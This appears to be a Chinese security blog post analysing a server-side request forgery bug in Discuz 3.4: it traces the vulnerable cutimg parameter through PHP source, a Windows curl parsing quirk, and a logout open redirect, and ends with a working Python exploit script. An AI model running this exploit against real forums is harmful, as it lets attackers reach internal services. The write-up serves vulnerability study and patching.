discuz 3.4 前台SSRF
复现并分析一下之前l3m0n师傅的SSRF。膜。
漏洞分析
补丁链接
https://gitee.com/ComsenzDiscuz/DiscuzX/commit/41eb5bb0a3a716f84b0ce4e4feb41e6f25a980a3?view=parallel
漏洞主要发生在参数cutimg
,一个远程下载功能
直接看到漏洞点
source目录下是程序模块功能处理目录
1 2
| 文件: source/module/misc/misc_imgcropper.php:55
|
代码
1 2 3 4
| $prefix = $_GET['picflag'] == 2 ? $_G['setting']['ftp']['attachurl'] : $_G['setting']['attachurl']; if(!$image->Thumb($prefix.$_GET['cutimg'], $cropfile, $picwidth, $picheight)) { showmessage('imagepreview_errorcode_'.$image->errorcode, null, null, array('showdialog' => true, 'closetime' => true)); }
|
$_G['setting']['ftp']['attachurl']
默认是/
如何解析出host
由于前面已经有一个/
了。在对parse_url
的测试中,发现
//127.0.0.1:80/aaa
这样以//
开头的url同样能被解析出host
然后跟到image
类的Thumb
函数中
1 2
| 文件:upload/source/class/class_image.php 方法:Thumb
|
对应source
变量
1 2
| function Thumb($source, $target, $thumbwidth, $thumbheight, $thumbtype = 1, $nosuffix = 0) { $return = $this->init('thumb', $source, $target, $nosuffix);
|
进入同文件下的init
函数
用parse_url
函数处理$source
然后如果存在host,就调用dfsockopen
前面说到$_G['setting']['ftp']['attachurl']
默认是/
函数
1 2
| 文件:upload/source/function/function_core.php 函数:dfsockopen
|
又调用_dfsockopen
函数处理,在_dfsockopen
函数中就会用curl处理请求
1 2
| 文件:upload/source/function/function_filesock.php 函数:_dfsockopen
|
代码
1 2 3 4 5 6 7 8 9
| $matches = parse_url($url); $scheme = $matches['scheme']; $host = $matches['host']; $path = $matches['path'] ? $matches['path'].($matches['query'] ? '?'.$matches['query'] : '') : '/'; ... curl_setopt($ch, CURLOPT_URL, $scheme.'://'.($ip ? $ip : $host).($port ? ':'.$port : '').$path); ... curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); ...
|
我们这里传入的//baidu.com:80
,由于没有加协议,所以$scheme = $matches['scheme'];
为null,看到curl这一行
curl_setopt($ch, CURLOPT_URL, $scheme.'://'.($ip ? $ip :
$host).($port ? ':'.$port : '').$path);
处理后,请求的url变为 ://baidu.com/
前面自动加上协议后变为http://://baidu.com/
,于是我们来看看这样的url
curl
能够如何请求
curl测试
win
curl版本–7.55.1
在win下,用curl请求到了本机ipv6
linux
curl版本–7.58.0
并没有请求到任何host
于是,漏洞有一个触发条件是需要在win下
所以最后请求http://://baidu.com/aaa
就请求到了http://127.0.0.1:80/baidu.com/aaa
于是这里就可以进行本地的ssrf,较鸡肋,于是还需要找一个302跳转
Search_302_redirect
这个302跳转需要是无需登陆的,并且get型
在logout
的时候会获取referer
,然后进入301跳转
1 2
| 文件:upload/source/class/class_member.php 函数:on_logout
|
调用了dreferer
1
| 文件:/source/function/function_core.php:1498
|
代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
| function dreferer($default = '') { ... $_G['referer'] = !empty($_GET['referer']) ? $_GET['referer'] : $_SERVER['HTTP_REFERER']; // 优先获取GET的referer $_G['referer'] = substr($_G['referer'], -1) == '?' ? substr($_G['referer'], 0, -1) : $_G['referer'];
if(strpos($_G['referer'], 'member.php?mod=logging')) { $_G['referer'] = $default; }
$reurl = parse_url($_G['referer']); //parse_url处理referer
if(!$reurl || (isset($reurl['scheme']) && !in_array(strtolower($reurl['scheme']), array('http', 'https')))) { $_G['referer'] = ''; //需要referer有协议,http或者https }
if(!empty($reurl['host']) && !in_array($reurl['host'], array($_SERVER['HTTP_HOST'], 'www.'.$_SERVER['HTTP_HOST'])) && !in_array($_SERVER['HTTP_HOST'], array($reurl['host'], 'www.'.$reurl['host']))) { //host不为空,且解析出的host与本身的host不一致 if(!in_array($reurl['host'], $_G['setting']['domain']['app']) && !isset($_G['setting']['domain']['list'][$reurl['host']])) { //解析出的host与本身的host不一致 $domainroot = substr($reurl['host'], strpos($reurl['host'], '.')+1); if(empty($_G['setting']['domain']['root']) || (is_array($_G['setting']['domain']['root']) && !in_array($domainroot, $_G['setting']['domain']['root']))) { $_G['referer'] = $_G['setting']['domain']['defaultindex'] ? $_G['setting']['domain']['defaultindex'] : 'index.php'; } } } elseif(empty($reurl['host'])) { $_G['referer'] = $_G['siteurl'].'./'.$_G['referer']; }
$_G['referer'] = durlencode($_G['referer']); return $_G['referer']; }
|
这里与$_SERVER['HTTP_HOST']
进行了比较,判断是否在同一域名下
我们需要我们传入的referer不改变,但是只能传入www.
才能够控制referer
又由于我们之前是需要curl来处理,所以这里就涉及到了curl
与parse_url
的差别了
当我们传入`www.#@baidu.com时,
parse_url和
curl会出现差异
parse_url解析到的是
www.,而
curl则会请求到
baidu.com`
于是,整个利用链
本地ssrf->前台logout处get型任意302跳转->ssrf利用
漏洞验证
exp(参考rai4over师傅)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| # coding=utf-8 import requests import re from urllib.parse import urlparse, quote from urllib import parse
if __name__ == "__main__":
url = "http://127.0.0.1/DiscuzX/upload/" ssrf_target = "192.168.107.141:6666"
path = urlparse(url).path payload = quote( "/member.php?mod=logging&action=logout&quickforward=1&referer=http://www.%23%40{ssrf_target}".format( ssrf_target=ssrf_target)) s = requests.Session() html = s.get(url).text searchObj = re.search(r'name="formhash" value="(.*?)"', html, re.M | re.I) formhash = searchObj.group(1) rs = s.post( url + "misc.php?mod=imgcropper&imgcroppersubmit=1&formhash={formhash}&picflag=2&cutimg={path}{payload}".format( formhash=formhash, path=path, payload=payload)) exit()
|
成功ssrf